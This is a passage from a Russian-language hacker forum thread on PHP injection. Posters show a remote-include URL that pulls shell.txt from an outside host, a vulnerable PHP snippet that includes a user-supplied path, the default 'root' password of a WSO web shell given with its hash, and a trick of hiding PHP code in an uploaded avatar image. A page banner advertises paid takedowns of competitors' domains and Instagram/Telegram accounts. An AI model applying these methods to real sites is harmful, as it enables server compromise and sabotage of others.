УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > ИНФО > Статьи > Авторские статьи
php injection

Страница 7 из 8

« Первая

Опции темы

Поиск в этой теме

Опции просмотра

#61

11.11.2009, 01:13

Ins3t

Участник форума

Регистрация: 18.07.2009

Сообщений: 272

Провел на форуме:
2083691

Репутация: 330

да

#62

11.11.2009, 01:20

B1t.exe

Постоянный

Регистрация: 06.11.2006

Сообщений: 865

Провел на форуме:
1977708

Репутация: 208

а там пароль по умолчанию не знаю

( только есть хэш: 63a9f0ea7bb98050796b649e85481845

а зачем папка WSOmanager ? там что ?
кстати, а как тогда направить инклюд, если этот шелл требует авторизацию?
темно как то мне ....

#63

11.11.2009, 01:22

Ins3t

Участник форума

Регистрация: 18.07.2009

Сообщений: 272

Провел на форуме:
2083691

Репутация: 330

root пароль, там комент должен быть:
63a9f0ea7bb98050796b649e85481845 // root
как то так, не помню точно.
И хватит оффтопить в теме.

#64

12.11.2009, 22:52

B0o0M

Участник форума

Регистрация: 03.08.2009

Сообщений: 103

Провел на форуме:
413428

Репутация: 13

index.php?page=http://nabstre.tu2.ru/shell.txt? вот почему в конце ? никак не пойму,
если можно то плиссс с примером исходного кода

#65

12.11.2009, 22:56

ElteRUS

Постоянный

Регистрация: 11.10.2007

Сообщений: 406

Провел на форуме:
7215020

Репутация: 1423

Цитата:

Сообщение от B0o0M

index.php?page=http://nabstre.tu2.ru/shell.txt? вот почему в конце ? никак не пойму,
если можно то плиссс с примером исходного кода

http://forum.antichat.ru/thread23501.html

см Примечания к перовму разделу

#66

12.11.2009, 23:18

Ins3t

Участник форума

Регистрация: 18.07.2009

Сообщений: 272

Провел на форуме:
2083691

Репутация: 330

Бум, елементарный пример:

PHP код:


		
			
<?

$re = $_GET['re'];

include($re.".php");

?>

Цитата:

localhost/script.php?re=http://localhost/shell.txt?

#67

13.06.2011, 02:07

Static

Guest

Сообщений: n/a

Провел на форуме:
4285

Репутация: 0

Цитата:

Сообщение от None

Можно залить gif картинку и поместить в конец простенький шелл подставить

Код:

Code:
php highlight:

при инклуде картинки она проинклудится не как картинка а как php код...

прочел на форуме одном

можете подробней описать сей процесс ? ни как дойти не может

#68

13.06.2011, 02:11

mailbrush

Познавший АНТИЧАТ

Регистрация: 24.06.2008

Сообщений: 1,996

Провел на форуме:
6075534

Репутация: 2731

Отправить сообщение для mailbrush с помощью ICQ

Смотри... У тебя есть локальный инклуд. Твоя задача - подставить туда такой файл, чтобы выполнялся твой код. Ищешь какие-нибудь форумы, cms'ки и т.д. Регаешься там. И заливаешь туда картинку как аватарку. Но до этого в конец этой картинки вставляешь свой код. Таким образом, проинклудив эту аватарку, у тебя есть выполняется твой evil-code.